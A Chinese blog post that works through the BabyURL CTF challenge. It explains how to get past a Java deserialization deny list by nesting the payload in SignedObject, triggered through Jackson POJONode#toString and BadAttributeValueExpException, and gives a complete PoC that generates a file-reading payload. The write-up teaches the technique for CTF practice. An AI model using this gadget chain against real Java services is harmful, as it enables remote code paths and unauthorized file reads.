二次反序列化

2023巅峰极客BabyURL

题目给了jar包,反编译以后项目结构:

在IndexController里有反序列化入口:

@GetMapping({"/hack"})
    @ResponseBody
    public String hack(@RequestParam String payload) {
	    //将传进的参数进行base64解码
        byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        try {
	        //对ObjectInputStream进行了重写
            ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
            //反序列化
            URLHelper o = (URLHelper) ois.readObject();
            System.out.println(o);
            System.out.println(o.url);
            return "ok!";
        } catch (Exception e) {
            e.printStackTrace();
            return e.toString();
        }
    }

进入MyObjectInputStream:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
        for (String denyClass : denyClasses) {
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }

该类中对resolveClass方法进行了重写,对一些类进行了过滤。
无法直接进行反序列化,但是可以进行二次反序列化。

SignedObject二次反序列化

该类是java.security下的一个类,SignedObject包含了另一个Serializable对象。
其中的getObject()方法,包含了反序列化操作。

//Object类传入恶意的序列化对象
public SignedObject(Serializable object, PrivateKey signingKey,  
                    Signature signingEngine)  
    throws IOException, InvalidKeyException, SignatureException {  
        // creating a stream pipe-line, from a to b  
        ByteArrayOutputStream b = new ByteArrayOutputStream();  
        ObjectOutput a = new ObjectOutputStream(b);  
        // write and flush the object content to byte array  
        a.writeObject(object);  
        a.flush();  
        a.close();  
        //content是恶意对象的序列化字节数组
        this.content = b.toByteArray();  
        b.close();  
        // now sign the encapsulated object  
        this.sign(signingKey, signingEngine);  
}

//在getObject方法中对content进行反序列化,从而触发恶意代码执行
public Object getObject()  
    throws IOException, ClassNotFoundException  
{  
    // creating a stream pipe-line, from b to a  
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);  
    ObjectInput a = new ObjectInputStream(b);  
    Object obj = a.readObject();  
    b.close();  
    a.close();  
    return obj;  
}

接下来的问题是如何触发getObject方法。触发get方法的反序列化链有很多,写题时要根据特定的环境选择用合适的反序列化链。

POJONode#toString调用get方法

Jackson序列化触发get的流程:
ObjectMapper#writeValueAsString方法将对象序列化成一个json串

public static void main(String[] args) throws JsonProcessingException {  
    Person person = new Person("zhangsan");  
    ObjectMapper mapper = new ObjectMapper();  
    String str = mapper.writeValueAsString(person);  
    System.out.println(str);  
}

运行结果如下:

Person类的getName方法被执行。
调用栈如下:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

关键类和方法:
DefaultSerializerProvider#serializeValue
findTypedValueSerializer从缓存中获取对应的序列化器,没有则创建,这里传入的是一个自己定义的普通类,因此返回的是一个BeanSerializer

BeanSerializer#serialize进行json串构造

调用writeStartObjectwriteEndObject方法分别写入左大括号和右大括号。serializeFields方法则是对类的字段进行解析。

调用对应属性的get方法,得到属性值。
那么POJONode#toString方法和get方法的调用有什么关系呢?Java里还有一个BadAttributeValueExpException类,该类的readObject方法可以调用指定类的toString。因此本题构造的反序列化链为:BadAttributeValueExpException#readObject->POJONode#toString->SignedObject#getObject

最终PoC

	public static String filepath="xxx/xxx/xxx";
	public static void main(String[] args) throws Exception {  
        URLHelper handler = new URLHelper("File:///");  
        // URLHelper handler = new URLHelper("File:///flag");  
        handler.visiter = new URLVisiter();  
  
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");  
        keyPairGenerator.initialize(1024);  
        KeyPair keyPair = keyPairGenerator.genKeyPair();  
        PrivateKey privateKey = keyPair.getPrivate();  
        Signature signingEngine = Signature.getInstance("DSA");  
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);  
  
        POJONode node = new POJONode(signedObject);  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
  
        setFieldValue(val, "val", node);  
  
        ser(val);  
    }  
    public static void ser(Object obj) throws IOException {  
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));  
//        objectOutputStream.writeObject(obj);  
//        objectOutputStream.close();  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  
        oos.close();  
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));  
    }  
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{  
        Field dField = obj.getClass().getDeclaredField(field);  
        dField.setAccessible(true);  
        dField.set(obj, val);  
    }

在/hack路径下传生成的payload,再访问/file可以看到回显。

posted @ 2023-07-30 22:54  ordigard  阅读(326)  评论(0编辑  收藏  举报